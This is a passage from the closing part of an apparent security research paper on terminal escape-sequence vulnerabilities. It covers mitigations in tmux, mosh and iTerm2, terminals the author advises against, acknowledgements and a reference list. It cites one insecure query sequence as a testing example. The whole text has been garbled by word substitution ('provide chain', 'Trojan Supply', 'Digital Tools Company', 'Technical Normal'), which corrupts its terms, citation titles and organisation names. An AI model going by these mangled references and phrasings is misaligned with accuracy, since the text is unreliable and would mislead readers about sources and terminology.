tmux with allow-passthrough turned off does present some safety. (There are
causes to make use of passthrough, for instance hterm gives a
script
which may set the system clipboard from even inside a display session, as traditional
safety is a trade-off.)
One attention-grabbing instrument is mosh, which primarily exists to cut back latency of SSH
periods, it does this by emulating a terminal on the server facet and sending
diffs (and different tips), somewhat than merely sending escape sequences over the wire.
Because of this, its terminal implementation is absolutely remoted from the
terminal the consumer makes use of.
Some terminals have choices to disable probably insecure escape sequences.
Typically that is on by default and altering it is going to carry again a few of the recognized
insecure sequences mentioned right here, so that isn’t advisable, however is
probably helpful for testing. (For instance rxvt-unicode has an -insecure
choice and if enabled "e[7n"
will reply with a response together with a
newline.)
iTerm2 has smart defaults (it disables title reporting), but it surely additionally has an
superior choice to disable “Probably Insecure” escape sequences. A paranoid
consumer might flip that on (for instance that setting mitigated a few of
solid-snail’s findings).
Terminals to avoid
Generally software program is past assist. I don’t suggest anybody makes use of
Terminology. It’s
susceptible by default, however the creator would not contemplate it a safety subject,
primarily based on another person’s report from 2015. See
this commit
Moreover some terminals help C1 controls in UTF-8 encoded textual content, which per this 2015 posting to
oss-security is problematic. Some terminals have the flexibility to show this off, if they don’t
reminiscent of Kitty I can’t suggest their use.
This analysis discovered fairly easy variants of vulnerabilities from 2003 and
2008, in addition to some novel new vulnerabilities and methods to use them.
These vulnerabilities have the potential for use in numerous form of assaults,
however particularly given they can be utilized to assault builders and directors they’re of
explicit relevance in securing the software program provide chain. I imagine by addressing and
understanding these points we will help to make the software program provide chain safer.
Whereas this paper does embody some unfixed points I imagine essentially the most critical
bugs which may have been used for provide chain assaults are addressed and disclosing all this may
assist make the open supply world a safer place.
CVEs found
Because of everybody who has beforehand researched these points, particularly HD Moore for the 2003 analysis, Evitar Gerzi for locating the kubectl subject
initially and STÖK
for presenting this in an engaging way and discovering but extra assault
vectors.
Thanks to all of the terminal authors for fixing the bugs I discovered and in some
instances including additional hardening.
Because of G-Research Open Source for letting
me analysis this all.
Key citations:
Different attention-grabbing sources:
- Nicholas Boucher and Ross Anderson, 2021, “Trojan Supply: Invisible Vulnerabilities”; https://trojansource.codes/
- Thomas Dickey, 2023, “XTerm Management Sequences”; https://invisible-island.net/xterm/ctlseqs/ctlseqs.html
- Bob Bemer, “That Highly effective ESCAPE Character”, https://web.archive.org/web/20010411103243/http://www.bobbemer.com/ESCAPE.HTM
- Lear Siegler, 1979, “ADM-3A Operator’s Handbook”; https://vt100.net/lsi/adm3a-om.pdf
- Digital Tools Company, 1994, “VT520/VT525 Video Terminal Programmer Info”; http://web.mit.edu/dosathena/doc/www/ek-vt520-rm.pdf
- Paul Flo Williams, “A parser for DEC’s ANSI-compatible video terminals.” VT100.web; https://vt100.net/emu/dec_ansi_parser
- Konstantinos Foutzopoulos, 2021, “Sixel for terminal graphics”; https://konfou.xyz/posts/sixel-for-terminal-graphics/
- Unicode Consortium, Mark Davis et al., 2014; Unicode Technical Report #36; https://unicode.org/reports/tr36/
- Unicode Consortium, Robin Leroy, et al., 2023; Unicode Technical Normal #55; https://www.unicode.org/reports/tr55/